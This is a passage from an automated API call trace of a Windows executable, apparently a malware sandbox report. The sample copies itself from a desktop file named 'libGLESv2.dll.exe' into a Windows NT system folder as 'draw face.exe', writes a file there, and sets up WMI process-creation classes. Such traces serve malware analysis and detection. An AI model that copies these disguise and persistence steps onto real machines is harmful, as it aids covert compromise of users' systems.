ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91fed52, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48f490 [0118.274] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf91fed52, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91fed52, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.274] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd2c6d39, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd2c6d39, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0118.274] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd35443b0, ftCreationTime.dwHighDateTime=0x1d93042, ftLastAccessTime.dwLowDateTime=0x61565ef0, ftLastAccessTime.dwHighDateTime=0x1d9a992, ftLastWriteTime.dwLowDateTime=0x61565ef0, ftLastWriteTime.dwHighDateTime=0x1d9a992, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="alftp.exe", cAlternateFileName="")) returned 1 [0118.275] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd310a300, ftCreationTime.dwHighDateTime=0x1d9a359, ftLastAccessTime.dwLowDateTime=0x625e7010, ftLastAccessTime.dwHighDateTime=0x1d9afe8, ftLastWriteTime.dwLowDateTime=0x625e7010, ftLastWriteTime.dwHighDateTime=0x1d9afe8, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0118.275] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4027cc0, ftCreationTime.dwHighDateTime=0x1d9a2c1, ftLastAccessTime.dwLowDateTime=0xeaa64110, ftLastAccessTime.dwHighDateTime=0x1d9a740, ftLastWriteTime.dwLowDateTime=0xeaa64110, ftLastWriteTime.dwHighDateTime=0x1d9a740, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1 [0118.275] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3449ca20, ftCreationTime.dwHighDateTime=0x1d9461c, ftLastAccessTime.dwLowDateTime=0x41305b10, ftLastAccessTime.dwHighDateTime=0x1d9b231, ftLastWriteTime.dwLowDateTime=0x41305b10, ftLastWriteTime.dwHighDateTime=0x1d9b231, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 1 [0118.275] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd2c6d39, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd2c6d39, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0118.275] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe0fda0, ftCreationTime.dwHighDateTime=0x1d965f2, ftLastAccessTime.dwLowDateTime=0xc92d6470, ftLastAccessTime.dwHighDateTime=0x1d96ca1, ftLastWriteTime.dwLowDateTime=0xc92d6470, ftLastWriteTime.dwHighDateTime=0x1d96ca1, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wifesecurityonly.exe", cAlternateFileName="WIFESE~1.EXE")) returned 1 [0118.276] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe0fda0, ftCreationTime.dwHighDateTime=0x1d965f2, ftLastAccessTime.dwLowDateTime=0xc92d6470, ftLastAccessTime.dwHighDateTime=0x1d96ca1, ftLastWriteTime.dwLowDateTime=0xc92d6470, ftLastWriteTime.dwHighDateTime=0x1d96ca1, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wifesecurityonly.exe", cAlternateFileName="WIFESE~1.EXE")) returned 0 [0118.276] FindClose (in: hFindFile=0x1b48f490 | out: hFindFile=0x1b48f490) returned 1 [0118.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0118.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0118.276] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0118.276] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe", lpFilePart=0x0) returned 0x40 [0118.276] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\draw face.exe"), bFailIfExists=0) returned 1 [0118.827] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\c529457537ee3f", nBufferLength=0x105, lpBuffer=0x1b30d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\TableTextService\\c529457537ee3f", lpFilePart=0x0) returned 0x41 [0118.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d8d0) returned 1 [0118.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\c529457537ee3f" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\c529457537ee3f"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x490 [0118.827] GetFileType (hFile=0x490) returned 0x1 [0118.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d840) returned 1 [0118.827] GetFileType (hFile=0x490) returned 0x1 [0118.828] WriteFile (in: hFile=0x490, lpBuffer=0x28b7640*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x1b30d908, lpOverlapped=0x0 | out: lpBuffer=0x28b7640*, lpNumberOfBytesWritten=0x1b30d908*=0x2ac, lpOverlapped=0x0) returned 1 [0118.829] CloseHandle (hObject=0x490) returned 1 [0118.830] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0118.830] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0118.831] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0118.831] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.832] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4abed0) returned 0x0 [0118.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abed0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0118.832] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abed0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4b0720) returned 0x0 [0118.832] WbemDefPath:IUnknown:Release (This=0x1b4abed0) returned 0x0 [0118.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4b0720) returned 0x0 [0118.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0118.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0118.833] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0118.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0118.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0118.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4abef0) returned 0x0 [0118.833] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4abef0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.833] WbemDefPath:IUnknown:Release (This=0x1b4abef0) returned 0x3 [0118.833] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0118.833] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0118.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0118.833] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0118.833] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0118.833] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0118.833] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0118.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4b0720) returned 0x0 [0118.833] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0118.834] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0118.834] WbemDefPath:IWbemPath:SetText (This=0x1b4b0720, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0118.834] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0118.834] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0118.834] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0118.834] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0720, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0118.834] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0118.834] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0720, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0118.834] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0118.834] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0118.834] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0118.834] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.835] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4abe70) returned 0x0 [0118.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abe70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0118.835] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abe70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af6a0) returned 0x0 [0118.835] WbemDefPath:IUnknown:Release (This=0x1b4abe70) returned 0x0 [0118.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af6a0) returned 0x0 [0118.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0118.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0118.835] WbemDefPath:IUnknown:AddRef (This=0x1b4af6a0) returned 0x3 [0118.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0118.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0118.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4ab9f0) returned 0x0 [0118.836] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ab9f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.836] WbemDefPath:IUnknown:Release (This=0x1b4ab9f0) returned 0x3 [0118.836] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0118.836] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0118.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0118.836] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x2 [0118.836] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x1 [0118.836] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0118.836] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0118.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af6a0) returned 0x0 [0118.836] WbemDefPath:IUnknown:AddRef (This=0x1b4af6a0) returned 0x3 [0118.836] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x2 [0118.836] WbemDefPath:IWbemPath:SetText (This=0x1b4af6a0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0118.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af6a0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0118.836] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0118.836] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0118.836] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af6a0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0118.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af6a0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0118.836] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af6a0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0118.837] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af6a0, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0118.837] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0118.837] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0118.837] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0118.837] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0118.837] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0118.837] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0118.837] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.837] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4abed0) returned 0x0 [0118.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abed0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0118.838] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abed0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4af5e0) returned 0x0 [0118.838] WbemDefPath:IUnknown:Release (This=0x1b4abed0) returned 0x0 [0118.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | 